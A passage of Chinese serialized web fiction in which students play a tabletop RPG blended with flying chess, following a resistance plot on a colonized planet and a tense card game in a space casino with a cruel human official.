嗯,因为没出门,所以她在堵车。下一次扔到6之前,她将堵死在这里。
她后面其实还有红组的追击,但她一点也不在乎。这也是因为没出门,除非红组杀进她家里,否则她是绝对安全的。
以及,她还发现了红组的另一个问题。
红组只有一枚棋子。
只要这颗棋子到达了终点,红组就算赢了。
哪有这样作弊的?看广告了吧!
蓝、黄、绿各自摇完骰子,终于轮到红组。对方从她门口经过,走了四步。
【风声疏忽远近,仿若哀嚎。雪茄状的镀镀铬飞行器在佐斐那的人们难以企及的高空,黑色流星一般掠过天际。巨大的投影在地上飞速地游弋,掠夺了光和视线,然后从一个奇妙的折角隐入光线折射无法传播的角落。】
【除了专门仰头看天的刘征兰以外,其他人都没意识到那究竟是什么东西。】
刘征兰无语地又等了一轮,这次她终于又扔到了6,堵车开始向前挪动了!
【不错,你已经扔到了6,可以出门了。再扔一次吧!】
【刘征兰点数:3】
刘征兰停在刻石通讯公司门口。
通讯公司的外形更像一个庞大且笨重的黄铜色堡垒,周围看不见进出的业务员,因为大门是一个链条拉动的巨大阀门,开合时有明显的柴油气味,每打开一次都会十分麻烦,所以大家干脆走后面的小门。
门口有一座巨大的辉光管座钟,上面镌刻着刻石通讯公司的创立时间。在辉光管座钟下,刘征兰遇见了旅行者,
对方身边围绕着许多人。种族不同,家乡也不同,旅行者正把一台电视放在辉光管的底座上,教大家如何除灰、修理、拆卸这个电视。
看到刘征兰,它便笑了,声音很亮:“你怎么在这儿?”
刘征兰含糊应答:“随便走走。你怎么在这儿?”
“教它们修电视。”
“你不是逃难的吗?哪来的钱买电视?”
旅行者说:“我们跑不掉,得让别的东西跑。”
刘征兰意有所指:“天上的人?”
旅行者没回答,只是自顾自地说:“因此,电视是很重要的。”
它神秘兮兮地问:“你看电视了吗?”
“嗯,一直在看。”
“那就没问题了。”它修完了电视,头部撑开一大片阴影,这是一个驱赶的动作。周围的人们并没有害怕它,只是神情郑重地端走它的电视,放到一边观察起来。
它说:“再见,祝你活着。”
刘征兰大惊:“别诅咒我了!”
它一愣,然后低声笑起来,明显没当回事。就那么闪身进了刻石通讯公司的小门里。
刘征兰道:“kp?”
【我在!大小姐有何吩咐?】
kp又变成了这个有点油嘴滑舌的家伙,难不成是双kp?这么高级?
“我要过潜行。”
“好嘞!”
【刘征兰潜行检定(出目/检定):70/30 失败】
“……我要再过个说服,让别人带我进去。”
【刘征兰说服检定(出目/检定):89/50 失败】
“……开锁。”
【刘征兰开锁检定(出目/检定):43/1 失败】
【嚯,你什么都没点?】
“再来。”
【你今天非要进去这个门?】
“对,我非要进去这个门。”
【那我也不能让你再试了,再试你早晚把保安招来。你再扔一次,过了就是过了,不过就是不过,愿赌服输。】
刘征兰深吸一口气,把骰子笼在手里。
“天灵灵地灵灵,太上老君快显灵。”
【刘征兰攀爬检定(出目/检定):20/20 成功】
【太棒了!零点仙!精彩的游戏!完美的赌局!请进吧,命运的宠儿!】
刘征兰一个鹞子翻身落进窗户里,动作很快,姿势很帅。落地之后立刻贴墙行走,以防被人发现。
事实证明她多虑了。整个通讯公司没有人在乎她。堡垒的门面建筑是工厂,工人们守在塑形线圈的铰链和茶褐色的金属洪流中,用灌注器和模具铸造电视元件。
佐斐那的恒星有
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着强大的引力,这种引力极大地影响了地核的磁场,明显扰乱了电磁波的规律,某种意义上也导致当地通讯技术的落后。这里明显在使用某种类似于真空管的技术,纯靠数量堆砌,体积越大实力越强,某种意义上很朴素。因此整个工厂里都是掩体,她横着走都没人能看到她。
建筑之间由铜管连接。刘征兰跟随着回荡的脚步声前进,终于追上了前面的旅行者。
对方笨拙地扳下开关,打开阀门,刘征兰跟在它身后,进入了刻石通讯公司的行政管理区域。
比起井然有序的工厂,这里简直乱作一团。各种纸张满天乱飞,办公桌和办公室间无数人来回穿梭,高声咒骂。每个人身上都背着一个激光枪头外骨骼,用枪头在纸面上飞速记录。一个辉光管计数器和一之喇叭用铁丝绑在一块儿悬在天花板上,作用就像临江高中食堂的叫号器。每报出一个数字,就会引起一阵怒吼。
“又死人了!又死人了!”
“认领人数多少了?”
“飞行器不足弹药不足什么都不足!下面辐射都要不足了!”
“报告!19月33日的死者已被认领,分别是是兰德耶沙涅尔·米萨、兰德耶佛坎·米萨和裴多贡鲁·兰德耶,该家族只剩下一名儿童兰德耶库哈·米萨,是否收留?”
“有人看护吗?”
“邻居伏里沙。兰德耶库哈·米萨太小不会写字,是伏里沙认领了死亡报告。”
“暂时不收留,收容所实在不够了。”
“灯塔附近的奥凡市三任市长均在众目睽睽之下自燃,市政班底倒台权力完全真空,奥凡市□□参与率百分之四十!这还只是纸面数据!大部分居民都已经向白城迁移!”
“找我干嘛!我们城市规划时没说要容纳这么多人!”
“又一家电视台走向破产!愿意低价出售给我们!银行坏账率百分之三十二!”
“这颗星球完蛋了!”
哀鸿遍野,杂乱无章。这种混乱刘征兰无比熟悉,仿佛回到人人精神失常的课间,反而有种生机勃勃的感觉。
旅行者在通讯公司还挺有地位的,每个人都会跟它问个好,它也回以问候,一路阻碍颇多地进入了一个挂着牌子的门后,牌子上写着“危险气体,闲人免进”。
【来,给你个机会,过个潜行一块儿进去】
【刘征兰潜行检定:25/30 成功】
【恭喜!属于勇敢者的馈赠!你可以跟着一起进去了!】
【刘征兰心想:虽然这个旁白有点吵,但已经很努力地给我们塞线索了,原谅它吧。谢谢你的原谅,我不是很需要,你留着吧。】
刘征兰跟着旅行者进了房间,并且没人发现。她本来还有点害怕危险气体,但进去之后才发现房间里外并无显著区别。
旅行者把自己伞状头部整根拔下来,它的身体从细长的一条变成了熟悉的形态。
一块包含胸膛与肚腹的身躯,末端可以进行精细操作的四肢和一颗头颅。
这是人类的体型。
“唐捐。”旅行者说,“你怎么样?”
“身体健康。”唐捐道,“你找我有什么事?”
“……没什么。”
两个人在电视屏幕的两侧,唐捐神情轻松,而背对着刘征兰的那个看不清表情。
“那你为什么要联系我。尽灯,靠电视信号彼此联络已经很冒险了,单线联系更容易暴露。”
尽灯沉默了许久。
唐捐单眉高挑,显然有些不耐烦。但对面是她的弟弟,她表现出了难得的耐心。
“我非常担心你。”尽灯说,“你的工作强度太高了。用电视信号认领死者,招募同伴,几乎是你一个人的计划。前段时间秘密渗透了飞行器厂。我以为你要休息了,结果你只是留下了然后我继续做电视研发的命令,只身前往灯塔做准备。这样下去不仅你的行踪会暴露,身体也早晚会支撑不下去。”
“在刻石人建立起来之前,我是不会死的。”
“你能拦截命运的洪流吗?你能拒绝阿卡西的召唤吗?”
“禁止文绉绉。”
“你阻挡不了死。”
“那也总比任人宰割的生要好!”唐捐的脸猛然凑近屏幕。灰色波浪线条组成的画面和卡帧的刺耳声音,依然挡不住她眼里的漩涡,“你还记得吗,尽灯?这本来只是一场毕业考察!只因为抽签系统的故障,我们就抽到了佐斐那,一颗爬行文明的行星。这种错误我们甚至无处去申诉,因为奇点学院没有处理人类问题的投诉中心!
“现在我们回到不斜空间站也只有两条路,一条是被蜜谷人杀死泄愤,一条是被人类共同体征兵带走!我们脚下没有任何一片坚实的土地,如果没有拼死一搏的决心,我们永远都不安全!”
唐捐把手指一根根攥进掌心:“我太痛恨那些生物了。一边是蔑视异族四处侵略的恶魔,一边是疯狂前进、将所有跟不上队伍的人碾死在轮下的战车。在这样的两个组织中做选择,不过是速死和折磨的区别。”
尽灯的语速依然很快,语气里的急迫并不亚于唐捐:“我明白,我明白。所以我们要建立的组织是禁止侵略、维护秩序的组织。可是这个世界不需要一个有抱负的死人!这样的人千千万万,将宏图大业刻在墓碑上对这个世界有什么意义?没有任何意义!没有研发任务的时候,我会去宣传电视的妙用,我会拉拢更多人,这些事可以由我去做!但你作为整个计划的制定者,通讯公司的核心人物,如果你死了,一切都完了!我们找不出另一个和你能力相当的人代替你,这才是最重要的!我不是作为你的弟弟、你的朋友在劝告你珍惜生命,我是作为你的同盟在告诫你,珍惜你我的事业!”
“你可以,尽灯。”
这句话仿佛掐灭烛火的手,徒留一缕青烟般的沉默。
“我相信你的智慧,你可以做到。”
“你在转移话题。”尽灯冷冷道,“你在把我对你的指责替换成温情的认可。先不提我和你的能力相差有多远。临阵换将有多少问题,需要我告诉你吗?”
唐捐静静地看着他,嘴角带着一种傲然的微笑。只要她站在那里,就有一种难以言喻地说服力。
“好吧。”她笑道,“我跟你说实话。我挺喜欢在外面跑来跑去的。当人们听说我来自刻石通讯公司时,那种信任令我十分安心。信任的建立,才是我留在佐斐那,组织这场革命的初衷。”
“需要我提醒你吗?卓卓坎的到来,正是因为我们自己人的背叛。否则这位执政官也不会这么快注意到佐斐那这颗小星球的异动。”
“所以我才要一遍一遍确认。”唐捐道,“如果你像我一样,曾经流落街头,就会知道信任的可贵。如果不是我亲手建立的组织,想必我永远也不会觉得安心了。”
“我是没流落街头,但是谁把你从街头捡回来的你忘了?按血缘,咱俩这么远的关系,我家可没有救助义务。”
“所以,即使人性这么脆弱,我依然信任你。”
“你也挺信任科黛她们啊!”
“我难得有几个朋友。”
“……也是。”尽灯深吸了一口气,“早点回来,我们需要活着的你。”
“我会的。”
“我说真的。”尽灯的眼睛片刻也不挪动,他没有看唐捐,而是出神地盯着电视屏幕的彩色便条上,两人一同设计的刻石人标志——一块锁链缠绕的石碑,“没有什么比活着更重要。”
105.执政官的游戏
卡瑟达、佛南内耶、米普、凡萨尼姆,小小一艘飞行器上几乎集齐蜜谷所有的种族。大部分生物都低伏着头颅,用谦卑而恭敬的态度 侍候这位低贱种族的主人,这位精明而残酷的商人。
他在战争中背叛自己的种族,买下了蜜谷一个官位,凭借对战争的投资,以人类的身份站在蜜谷的权力顶端,用同胞的血路铺就了地毯与帷幕。谁知道这样的人将如何对待它们呢?
而库尔卓·卓卓坎·徂坎对于自己的仆人们没有杀意。不使用人类仆人,只是乐于享受飞行器里只有自己无需在氧气中使用防护服的权力。
他已尝尽一切应有的事物,财富、权力、无穷无尽的艺术和美丽。他不愿意对战争负责,于是远离战场,在蜜谷纵情欢乐。
对于佐斐那,他更是兴致怏怏。他只是感到无聊,想要体验传说中的光速行驶。可实际上,所有的星星都只是石头,所有的星云、所有的漩涡,都只是尘埃。从一颗星球到达另一颗星球,与从一座城到另一座城,没有分别。
一个简单的观察任务,得到情报,传递回去,这有什么难处?他舍弃人类的名字,改用蜜谷的格式取名,都比这件事有挑战性。
反正任务本身也没人在意,星际旅行也只是让人失望,不如去生态箱赌场摸一把牌。听说最近流行的玻璃牌很有趣……
“笃。”
很轻的一声。
那声音一瞬间就穿透了他的耳膜。他听不见了,只感受到空气流动的风。
飞行器失去了平衡,从空中斜向跌落。
紧接着,飞行器炸开了。滚滚黑烟包裹着爆炸后的残骸,仿佛花萼托着一朵盛放的橙花。
刘征兰长舒一口气,排成一道的六边形身躯轻松地重新分布在身体周围。
“轰炸成功!”
自从她发现红组只有一枚棋子,三组成员全都团结一心不再内讧,专心拦截红组。这次把红组送回起点,它再出门估计还要一段时间。
玩到现在,整个团的真面目终于露出冰山一角。
佐斐那是一颗被殖民的星球,而唐捐和尽灯这两个人类,因为抽签系统故障,毕业后被分配到爬行文明做毕业考察。但就在此时,泰雷恩特建立了人类共同体,大部分人类星球纷纷独立。包含蜜谷在内的众多迁氧帝国签署了玫卢公约,宣布联合对外。
战争开始了。
唐捐和尽灯留在当地,组织佐斐那居民积极对抗蜜谷的殖民统治。电视通讯是反抗组织的通讯方式,用以宣传理念、传递情报和认领死者。
而她们扮演的就是一些逃难中逐渐发现真相的普通人。
“太棒了,整个游戏终于有一点桌游的样子了。”颜阎如是说。
康烁影问:“猜死人和飞行棋不算桌游?”
“其实也算啦,真要说的话,只要大家在一起玩,打麻将都能算桌游!但是还是带点剧情的比较有意思啦……”
现充不懂,但现充学习:“唉那我们在草稿纸上画格子下五子棋算不算桌游?”
“……你别说,你还真别说。”
“那我是桌游老手了。”
刘征兰击落了红组的飞机,本以为万事大吉,不想红组很快又扔到6,再次出门。
倒霉蛋子康烁影就在红组门口,当即哇哇大叫,指望着离她四分之一个棋盘的铃铛和颜阎来救她。
她指望的两个人被撞回家三次,此时已经不愿意再冒一点险,宁愿在终点线里进出一下都不愿意前进过来帮她。
康烁影愤怒:“不讲义气!”
以布:“好像是你先撞她们的。”
康烁影瞪他:“和谁一伙儿的?”
以布语气沉沉:“铃铛。”
“啧!游戏精神知不知道!你现在和我一组,咱俩是一体的!你要向着我说话,知不知道!”
眼看红组逼近,康烁影捏着骰子,哭丧着脸开始“天灵灵地灵灵太上老君快显灵”:“1!”
她要一个飞跃远离这片是非之地。
天不遂人愿,她摇到了5,进入红格里。这下好了,红组不管是飞跃还是正常摇骰子都有可能碰到她了。
以布叹息,铃铛担忧。颜阎幸灾乐祸,刘征兰感慨命运多舛。
然而临时掉链子是传染性疾病,红组骰子脱手,一个1接踵而至。
康烁影和以布松了一口气,这口气没松多久,很快到了下一轮,两个人摇到了另一个1。
“……我再也不坑害别人了。”
以布无神的眼睛盯着天花板:“希望你可以兑现你的诺言。”
“你在做什么?”康烁影转移矛盾,“你做什么事了?”
以布从自己的小包里掏出一条钢筋,双手捧着放进她手里:“我做的事。”
康烁影大惊:“砸红组引擎?是不是有点原始了?”
以布诚恳道:“战场上,你不需要跑得最快,只要比你的战友快就行了。这根棍子能让你关键时刻打断我的腿,跳车逃生。说不定你跑了就不算我们回起点。”
康烁影一个激灵:“是不是太血腥了点?到时候你能乖乖让我打吗?”
“没关系。这是我从上一次坠机现场找来的,我们很熟悉了,我的腿很中意它。”
“呃呃呃……”康烁影面露难色,“我不擅长跟这种人说话……铃铛救我……”
在遥远的黄组,铃铛拿起了骰子。
“冲啊铃铛!我的运气已经用完了!我们组全靠你了!”
伴随着颜阎的加油打气,铃铛抛出骰子,黄铜色的六面骰在飞行器上滚了一整圈,然后显示出一个极度光辉的数字。
【黄组点数:6】
【啊……又是6,运气真不错。】
【蒸汽波音乐.mp3】
【请再扔一次吧。】
铃铛让最后的棋子出门,心情愉悦地又扔了一次骰子。
【黄组点数:6】
颜阎:?
铃铛:?
以布:(鼓掌)
刘征兰:……不是?
康烁影:我反悔了,我当初就应该撞得更狠一点。
颜阎和铃铛靠在一起,生不如死:“完蛋了,下面的人生肯定会大起大落落落落直到心电图变平的。”
【……无论如何,真是好运啊,请再扔一次吧。】
【激昂的音乐.mp3】
铃铛颤颤巍巍地扔出骰子。
【黄组点数:4】
【恭喜,闹剧结束了。让我们回到紧张刺激的飞行棋游戏吧。】
黄组小心翼翼、思前想后、如履薄冰地,跨越四分之一个棋盘。
把红组撞回了老家。
蓝组和黄组在地图上首尾相接,物理位置上也十分接近。康烁影隔着飞行器窗户对着远处的黄组竖起大拇指:干得好啊!
黄组:“……不好,不好!感觉要被报复了。发动机快转啊!”
“发动机快转啊!”卡瑟达驾驶员把全身的重量压在身体下的操纵台上。它几乎不敢站立,某种诡异的情绪顺着它的身体游弋,穿梭在它脆弱的神经里。
那是死亡的预兆在盘旋。
库尔卓·卓卓坎·徂坎,他当然对坠机毫无恐惧。根据蜜谷执政官安全出行法,他每次出门都会安排四到六架飞行器,其中只有一架坐着真正的他。而哪一架会被击落,这就是他和命运的游戏。
他当然不恐惧死亡,死是生者和世界的游戏,在这个框架里,连命运都必须遵守世界的规则。
因此他毫不畏惧,只是饶有兴致地摆弄手指上的紫水晶戒指。
“你觉得是什么人想要我的人头?”他询问自己的仆人。
那是一名佛南内耶,正跪在地上清理地毯。它无法回答任何问题,它的种族依靠光的亮度传递信息,而它已经被摘除了荧光基因,是彻头彻尾的天聋地哑。
卓卓坎并不是真的在乎它的回答,他倒希望这几次的飞行器坠落是有组织的袭击,而非是佐斐那本地人的拦路劫财,那样就太无趣了。
但他的卡瑟达驾驶员并不这么认为。
它无意挑战命运,也没有任何胆量可言,它只是一位侍候卓卓坎的奴仆。它被随机安排到这艘飞行器上,它的主人又随机登上了它的飞行器。
刚刚坠毁的那架飞行器上的驾驶员是它的朋友。它们曾经一同接受飞行器驾驶训练,如今它已经在高温中融化,内腔的硅基变成透亮的晶石。
但它不敢返程,不敢露出一丝恐惧或求生的意志。
卓卓坎悠然坐在它身后。它可以让两架飞行器上的人为他送死,自然也可以将一个驾驶员的丢进灯塔的燃炉,如同掸去一枚灰尘。
它只能操纵着飞行器,把自己的生命和卓卓坎兴趣盎然的心绑在一起。
刘征兰要是知道这事,肯定会想办法把卓卓坎绞杀,可惜她不知道,她在努力撞红组。
姐们儿的运气实在差得可以。每当红组在她眼前,她就会连续扔出好几个5,把自己送出十万八千里。当红组离她老远,她又会连扔好几个1,在地上蹭着行走。
“要不你歇着吧。保全自己努力前进就行了。”康烁影建议她,“胜利的任务就交给我们两组了。”
刘征兰盯她:“我为什么这么慢?你们两组有什么头绪吗?”
康烁影吹口哨。
颜阎假装吹口哨。
现在刘征兰成了最慢的一组。黄组有两枚棋子已经完赛,康烁影都有两枚棋子在终点线里了。她偶尔把意识切换回赌场里,那边葛亚莲卡还在当象征性的经理,而米普,它赌得很开心,完全不需要任何担忧。
经过数轮扔骰,红黄蓝三组争斗不休。她一个人在角落里磨磨蹭蹭,阴暗爬行到天尽头灯塔下。
天尽头灯塔,矗立在大地上的通天之梯。
它在一个巨大的深坑中。刘征兰相信深坑即使以星体的尺寸测量也相当可观。它无比高大,直抵佐斐那的大气层。毫无装饰的灰色外墙充满实用性的冷酷。几个狭小的方形窗户规律地分布在灯塔的身体上,直到视线的尽头。
作为灯塔,它并不指挥来往船只。而是作为警示立于地面。它脚下的深坑是佐斐那星球统一战争时期的创伤,官方说有害物质仍存留于此,灯塔是为了提醒人们远离此处,同时铭记战争的残酷。
但是在建成后不久,灯塔就被暗中加高,成了外星生命来当地旅游的楼梯。
她将飞行器开进灯塔里,圆盘电梯平稳地托起她。从小小的窗户里,她看见战争过后雪白而光滑的土地,就像是一张崭新的白纸。
这是已经过去了上千年的故事。这是一个游戏里的场景。
但刘征兰的心还是为之震动。
她做不到任何事,时间、空间、权力、地位,横亘在她和这片土地之间。
她想要知识,想要毫无偏私的秩序,想要和平的土地,想要宇宙以及一切的答案。
但她什么都无法拥有,什么都无法做到。
门打开了,金红色系的赌场中传来节奏感鲜明的音乐和令人着迷的灯光,各种档位的赌桌鳞次栉比,没有直角转弯、只有平滑路线的空间设计诱导着赌博者走进陷阱。赌徒们眼中放出某种古怪的光芒,它们忘却了时间,忘却了世界,心中只剩下自己和命运的博弈。
“从向内关注自己和专注程度来看,这些人和哲学家其实没什么不同。”刘征兰心想。
她明白自己和赌场里的疯子毫无区别。人类的贪婪将永远折磨她。
她走出飞行器,兑换了筹码。刚踏上赌场红色的地毯,颜阎就一个头槌把她撞倒在地。
“来啦?”颜阎脸上挂着诡异的笑。
刘征兰躺在地上,emo被打断令她关机:“死了。”
“别死。”铃铛在她身边蹲下,“卓卓坎要到了。”
“什么?”刘征兰活了,“怎么这么快?”
“康烁影只有在撞我们的时候给力,你懂吧。”
刘征兰痛苦地爬起来。铃铛不让,把她重新按了回去。
“我们怎么办?”铃铛问。
“凉拌。”刘征兰没好气,“要不你们也去玩老虎机。”
铃铛扭扭捏捏:“我不敢。付费档位太高了,我怕赌一把我就倾家荡产了。”
“富二代说什么呢?你会害怕破产?”
“我的钱也不是大风刮来的!”
“好吧。”刘征兰总结,“那我们下面只要做一件事。”
“什么?”
“找人要菠萝包猪扒包和珍珠奶茶。”
铃铛要哭了。
刘征兰仍然躺在地上:“要不你们试试找米普打牌,我看它天天在赌场里,玩得可开心了。”
“听你说过,但我们认不出来具体是谁。”
“玩玻璃牌、长得像大大卷的那个。”
颜阎回头:“在赌场玩玻璃牌?不会被砍手指吗?”
“为什么?”
“玻璃牌很容易作弊啊。”
“我没听说过。玻璃牌的牌桌就在那边,有人作弊赌场不可能不撤销这个牌种。”
颜阎转头问铃铛:“怎么会这样呢?”
铃铛也不知道。她胡乱转动身体:“怎么会这样呢?”
大家目光如炬地盯着她。
她哭丧着脸,再次重复:
“怎么会这样呢?”
卓卓坎自言自语:“我安全到达了,没有一点波折。难道其他飞行器的坠落真的只是意外?”
卡瑟达驾驶员不敢答话。
“没有杀死我,它们一定非常失望。对不对?”
驾驶员以俯首来证明自己的忠心不二:“是的,主人。”
卓卓坎摘下自己的紫水晶戒指,扔到它怀里。
它诚惶诚恐地接住它——主人的性格喜怒无常,曾有一名奴仆卖掉了主人丢来的金手镯,然而数年后主人却陡然向它讨要那只手镯。
只要主人没有出言赏赐,手镯和奴仆就都是主人的财产。那名奴仆当然无法归还它,最后没人再见到它的身影。但是卓卓坎并非吝啬金币,那名奴仆泄露了他的消息,而他只是乐于
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用另一种方式折磨着对方,展示自己的权势。
这是一种赏赐,还是一种怀疑?驾驶员无从知晓。又或许卓卓坎只是觉得,任何凡俗的饰物都配不上他与命运的竞争,在真正的赌局里,身体和心灵都是赤裸的。
他坐上赌桌,桌上的价位是蜜谷一个普通人一年的收入,是他随便一次握手后百分之一的财富。
他伸出手:“端血酪来。”
他的仆人便膝行而至,将华丽的金杯盛到他面前,鲜红澄澈的酒液芳香四溢。
他饮下一口,无趣地将金杯推倒在桌上,手指摆弄着杯底,让整个杯子滴溜溜地在手中旋转。
“谁愿意和我赌?”
生态箱赌场上的人们不自觉向他侧目——
如今世道,居然还有令仆人膝行的权贵。一位人类,跨越星海与时空来到此处,竟只是为了赌博吗?
发话许久,无人应声。他只能叹息一声,将档位推上一个更加令人心惊的数字:“一支名表,也不能让人心动吗?”
沉默。
“那么,一架上好的飞行器呢?”
沉默。
“好吧。那就,蜜谷的一套地产,如何?”
终于有人按捺不住金钱的诱惑,粗鲁地坐到他对面:“人类,你最好诚实守信。”
卓卓坎笑容可掬:“我一向如此。”
对面那个种族不明的迁氧显然怀着对人类的轻蔑,它身上贴着电极片,把赌桌拍得咣咣作响:“再来两个人!输了算我的,赢了自己拿走!”
【暗骰:???】
【暗骰:???】
【暗骰:???】
【它注意到了刘征兰和她旁边的石头人,于是向你们招呼道:“过来坐下!让我们玩得尽兴!”】
颜阎幸灾乐祸:“呜呼!”
刘征兰向她侧身:“这就是红组?”
颜阎笑嘻嘻:“嗯。从位置判断,就是他。而且kp对他有反应。”
刘征兰拖着铃铛,绷着脸坐过去。颜阎和一群好事者凑在一边围观。
这么多人围着,铃铛的作弊难度想必很高。而刘征兰不会作弊,她没这个实力。
迁氧的动作雷霆万钧,叮呤当啷像在打铁。卓卓坎则气定神闲,脸上带着神秘的微笑。铃铛摆弄牌的动作非常谨慎,没有丝毫压迫感,感觉这场牌局再拖久一点她就会哭出来。而刘征兰,她想绞杀所有人,颜阎在旁边给她端茶倒水,希望她不要当场发作。
推牌码牌之间,刘征兰获得了最后的胜利。
铃铛被气氛吓得不轻,一点都不敢作弊,输得十分惨烈。迁氧冷哼了一声,随手把筹码推给她。
而卓卓坎,他笑容可掬,脸上毫无阴霾,仿佛刚才没有输掉赌局,而是获得了无上的快乐。
他哈哈大笑:“拿去吧!都是你们的!这是你们应得的奖励!”
他已经展示了自己的诚实和富有,围观的人群蠢蠢欲动,都希望自己能成为下一个一夜暴富的幸运儿。卓卓坎被人群簇拥着,手里抛接的筹码像是好运的诱饵。
“卓卓坎先生。”一道声音从人群后传来,“您怎么不提前通知一声?”
人群向两侧分开,葛亚莲卡从中走出,六边形转动,向卓卓坎致意:“您的到来令生态箱赌场蓬荜生辉。”
“经理,不必拘礼!”卓卓坎微笑,“虽说是奉命来调查佐斐那的情况,但您也知道,我是个空有虚职的执政官。来这里只是听说这里有一家风情万种的赌场。”
葛亚莲卡笑道:“多谢您的夸奖。生态箱赌场正如其名,我们有一套完整的生态系统,娱乐、购物、饮食、住宿应有尽有。内设绿洲喷泉、沉浸式观影剧院、马戏团和温室花园,保证让您流连忘返。”
绕是卓卓坎也不禁赞叹:“这已经不是赌场,而是一间大型赌城。”
“这要感谢四臂财团的投资。”
颜阎戳刘征兰:“咱们怎么没有看到这些设施。”
“一点钱没赌就让你上去随便参观,这赌场别干了。”
“远不如澳门赌场大方!甚至不送珍奶和猪扒包。”
铃铛说:“其实这里送零食的,馔晶和电极片都有送,就在门口的筹码兑换区,路边的托盘上也有,但你们谁都没注意。”
“如果您需要更高档的服务,请移步上层。”
卓卓坎挥手:“不必!赌局是同台竞技的游戏,每个人都是一样的。”
话是这么说,但葛亚莲卡也不可能真的让他混迹在老虎机和满身汗味烟味醺木燃烧味的下层。
工作人员示意卓卓坎去更高档的地方,他也不想推脱,从善如流地跟上去。
下一秒,整个赌场摇晃起来。
气流的存在格外鲜明,像摇晃着船的水流。赌场的结构在太空和大气层之间摇摆,建材发出喀拉拉的脆响。
这种程度的意外对于一间太空赌场来说并不严重。葛亚莲卡迅速安顿好了赌博者,承诺为所有人提供酒水。然后又去安抚更高层的赌博者。
卓卓坎身份尊贵,在意外查明之前不适合抛头露面。但他本人并不在乎,一心只想赌博。
他死在生态箱赌场将会造成无法估量的外交事故,工作人员好说歹说,几乎是苦苦哀求,他才答应休息一段时间,暂时不要出门。
工作人员长舒一口气,乐滋滋地跟上葛亚莲卡:“经理,我说服他了。”
“干得好,祖兰替。”葛亚莲卡微笑,“你是我最难言善道的下属。”
祖兰替充满期待地问:“那个……您说教我认字……”
葛亚莲卡顿住身体:“祖兰替,你今年多大了?”
“二十八……”
“这个年级还没有接受过教育,基本就已经和升学无缘了。”葛亚莲卡平静地说,“你在我身边已经有四年,我知道你梦想着攻读太空航行学,但是以你现在的经济实力,比起上学,不如考虑以后的生活。我会为你加薪,但是认字,你再考虑一下吧。”
葛亚莲卡为卓卓坎按下了电梯,将祖兰替丢在原地。
过了聆听的颜阎大惊:“葛亚莲卡,坏!人不认字,不知道要失去多少快乐!”
刘征兰同意:“我的所有快乐都是学习带来的。”
“我只是讨厌上学,又不是讨厌学习。”
“知识是很有趣的,只是我不够聪明,我觉得这不能怪知识。”
“对对!我这种不喜欢生活的人,只能靠一些精神上的东西续命。”颜阎趴在铃铛身上,展开自己的地图,开始看地图上大家的位置。
绿组三枚的棋子都在终点里来来回回;黄组一枚棋子通关,一枚棋子在终点线里蓄势待发;蓝组有两枚棋子通关,一枚刚刚沿着虚线,穿过红组的终点,把红组棋子撞回了原位。在跑团里的表现手法就是:红组的飞行棋再次回到终点线之前,红组无法通关,等于被封锁了行动轮。
远在地面的某处,以布开着飞行器,远远地给康烁影比出拇指。
康烁影擦了一把额头上的汗:“呼……幸好我幸运七十。”
106.千金一掷金银岛
赌博是一种极致的向内探求。
这倒不是为其辩护,而是一种分析解构。人文社科要做的事,就是从人们习以为常的事物、行动、想法里,捻出那一根思维的线头,顺着它拆解整个世界。
在榕城经济最繁荣的那几年,儿童弹球机遍布在各个杂货店、玩具店、甚至快餐店里。烟酒直售的店铺里,两台冰柜之间那个阴暗的角落里,总是摆着一台小小的、灯条闪烁的弹球机。
榕城没有街机厅,在那个没有通网的年代,弹球机是唯一的机器玩具,非常诱人。精神小伙们也特别喜欢这种玩具,经常买了烟买了酒,就坐在那儿一脸忧郁地玩。
某次下课,二班的四人组漫无目的地闲聊,正好聊到了弹球机。四个人一对账,在弹球机上花掉的总金额居然有两百多。贡献了大头的康烁影目瞪口呆,跺着脚大叫:“这不是儿童柏青哥吗!”
这并非特例。事实上,机器赌博已经是最常见的赌博行为。人和无智慧的机械,以及挡板、透明罩、半倾斜的机器角度,帮助人和自己沟通,建立起一个私密的小空间。
空间是昂贵的,就像商务舱的座位比经济舱要宽敞,大公司的工位远比小公司舒适,贫瘠时是无法拥有空间的。因此机器和人之间的空间如此私人、温馨、令人留恋,让人们忘却外界,走入自我的迷宫。
在机器赌博如此时兴的当下,赌桌反而是一种异类。
与人交流,总需要一定的社交属性。其中散桌的社交性大于机器,贵宾厅的社交性又大于散桌。这个时候,赌博成为了一种集体社交活动,“赌”和娱乐之间的界线被极大地模糊。
卓卓坎非常痛恨社交在赌博里的插入。将赌视作社交的人既无法简单地闲聊,也无法痛快地沉沦,牌桌成为了分散注意力的场所、社交场合的遮羞布。
在他心中,牌局才是最善良的游戏。世间无法实现的公平可以在这里实现,这里没有阶级与种族,只有命运之手下同样渺小的生物。
因此,他并不喜欢贵宾厅优雅的谈笑,对老虎机这种没有意识、极易被操纵的数据也没有兴趣。他喜欢散桌上原始的疯狂和贪婪,那才是真正渴望通过赌局改变命运的人,只有这种人,才算得上“好赌”。
所以他在目睹米普又一次输光如山的筹码后放声大笑的样子,他瞬间就明白了。
这是他的同类。
他随便招了招手,仆人膝行到赌桌边,将筹码盒呈上桌边。
米普饶有兴趣地围观,跟着围观者询问“谁啊谁啊”,完全没意识到自己是这场闹剧的主角。
卓卓坎拦下它,声音柔和:“您好,愿意和我玩一局游戏吗?”
米普四下张望,终于确定了对方的目标是自己。它顿时笑出来,竹节状身躯舒展:“我来者不拒!来一把最基本的怎么样?比大小?”
“乐意之至。”
“地上这位,站起来吧!这个人类吃的东西我能试试吗?”
“还等什么。”卓卓坎向地上的佛南内耶抬手,“站起来吧。”
那名佛南内耶战战兢兢地起身,它的六只足部太久没有接触地面,高举的血酪随着它摇晃的动作撒出半盏,打湿鲜红的地毯。
它立刻跪下,向卓卓坎祈求饶恕。执政官大人“啧”了一声,为它扫了自己的兴大为光火。
米普对紧张的氛围视若无睹,它捧起那半盏血酪,从自己的进食口灌下去——无害,但它没有味蕾,品尝到的只是一股身体里冒泡的感觉,仿佛节状肢体都要从中间断开。
它毫不避讳地把这东西吐出来:“有点恶心,朋友。”
卓卓坎笑:“人类的饮品,你能喜欢才是怪事。要我给你拿一些高功率电极片?”
“行了,谢谢你。让你的仆人们走吧,别打扰我们玩骰子。”
佛南内耶不敢抬头,只是一味地向两人叩首。
卓卓坎厌恶地挥手驱赶它:“走吧。碍眼。”
米普用座椅撑着身子,随手召来几个看客:“别战战兢兢的,多扫兴。开心点,你们下辈子都碰不到这么刺激、公平的游戏了!这可是真正的赌局!”
